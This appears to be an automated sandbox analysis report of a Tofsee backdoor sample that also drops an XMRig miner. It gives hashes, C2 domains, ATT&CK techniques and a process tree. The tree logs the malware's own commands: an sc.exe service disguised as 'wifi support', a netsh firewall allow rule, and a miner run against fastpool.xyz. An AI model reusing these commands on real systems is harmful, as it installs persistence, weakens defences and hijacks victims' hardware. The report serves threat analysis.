Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    07-02-2023 00:58

General

  • Target

    file.exe

  • Size

    299KB

  • MD5

    389e0bbeb62bafda651f89609f6155f1

  • SHA1

    d1a66088ee38a570160c43f294b1e21129a55d0a

  • SHA256

    2f459f27c19518f315b8233ab7af6fdcd04c7c886d11a3117a23e9e28c532e2c

  • SHA512

    ce6f0b55206251d60acd2023f8c363cd07f4840e726e5d245bc765ac6a6ea83da2fe1bf8709ddb81d0baedf94997f584347406100eeb6b8b0752d775508ac0b6

  • SSDEEP

    3072:5nb6blhL62RmhK3XIOAtjtVcT00ppPaO5M4seFd/XFuQjiMTE5jptoia5D:FWhL6l82Be3/5M4scNuQj986ia

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1532
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\msfwcria\
      2⤵
        PID:776
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\oiypsqtc.exe" C:\Windows\SysWOW64\msfwcria\
        2⤵
          PID:1060
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create msfwcria binPath= "C:\Windows\SysWOW64\msfwcria\oiypsqtc.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:656
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description msfwcria "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1184
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start msfwcria
          2⤵
          • Launches sc.exe
          PID:1528
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:876
      • C:\Windows\SysWOW64\msfwcria\oiypsqtc.exe
        C:\Windows\SysWOW64\msfwcria\oiypsqtc.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1648
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1012
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2012

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\oiypsqtc.exe
        Filesize

        14.0MB

        MD5

        1f2944d5679de691fd190e3eec0d2f15

        SHA1

        fe79dc7b355fe2099b16df50873669f07a7929c5

        SHA256

        213dafafae6d280094b8403ba73fda14dea06e91dd3a031ee80fab5e736e8d41

        SHA512

        6b19299b9d11523613f877f393915efcd54d4792b3fccdd69a8ee919f2ac374490ea4fcde0c75cdf5fa1b8a31a6c4d6d613ab7711e04f6effc02019dd8fec7bc

      • C:\Windows\SysWOW64\msfwcria\oiypsqtc.exe
        Filesize

        14.0MB

        MD5

        1f2944d5679de691fd190e3eec0d2f15

        SHA1

        fe79dc7b355fe2099b16df50873669f07a7929c5

        SHA256

        213dafafae6d280094b8403ba73fda14dea06e91dd3a031ee80fab5e736e8d41

        SHA512

        6b19299b9d11523613f877f393915efcd54d4792b3fccdd69a8ee919f2ac374490ea4fcde0c75cdf5fa1b8a31a6c4d6d613ab7711e04f6effc02019dd8fec7bc

      • memory/656-61-0x0000000000000000-mapping.dmp
      • memory/776-58-0x0000000000000000-mapping.dmp
      • memory/876-65-0x0000000000000000-mapping.dmp
      • memory/1012-70-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1012-72-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1012-108-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1012-80-0x0000000001990000-0x0000000001B9F000-memory.dmp
        Filesize

        2.1MB

      • memory/1012-83-0x00000000000A0000-0x00000000000A6000-memory.dmp
        Filesize

        24KB

      • memory/1012-95-0x0000000000210000-0x0000000000217000-memory.dmp
        Filesize

        28KB

      • memory/1012-92-0x0000000005550000-0x000000000595B000-memory.dmp
        Filesize

        4.0MB

      • memory/1012-79-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1012-89-0x0000000000180000-0x0000000000185000-memory.dmp
        Filesize

        20KB

      • memory/1012-86-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1012-73-0x0000000000089A6B-mapping.dmp
      • memory/1060-59-0x0000000000000000-mapping.dmp
      • memory/1184-62-0x0000000000000000-mapping.dmp
      • memory/1528-63-0x0000000000000000-mapping.dmp
      • memory/1532-66-0x00000000005EC000-0x0000000000601000-memory.dmp
        Filesize

        84KB

      • memory/1532-54-0x0000000074DA1000-0x0000000074DA3000-memory.dmp
        Filesize

        8KB

      • memory/1532-67-0x0000000000400000-0x00000000004C7000-memory.dmp
        Filesize

        796KB

      • memory/1532-56-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/1532-55-0x00000000005EC000-0x0000000000601000-memory.dmp
        Filesize

        84KB

      • memory/1532-57-0x0000000000400000-0x00000000004C7000-memory.dmp
        Filesize

        796KB

      • memory/1648-77-0x0000000000400000-0x00000000004C7000-memory.dmp
        Filesize

        796KB

      • memory/1648-75-0x000000000094C000-0x0000000000961000-memory.dmp
        Filesize

        84KB

      • memory/1648-107-0x0000000000400000-0x00000000004C7000-memory.dmp
        Filesize

        796KB

      • memory/2012-98-0x0000000000110000-0x0000000000201000-memory.dmp
        Filesize

        964KB

      • memory/2012-100-0x0000000000110000-0x0000000000201000-memory.dmp
        Filesize

        964KB

      • memory/2012-105-0x00000000001A259C-mapping.dmp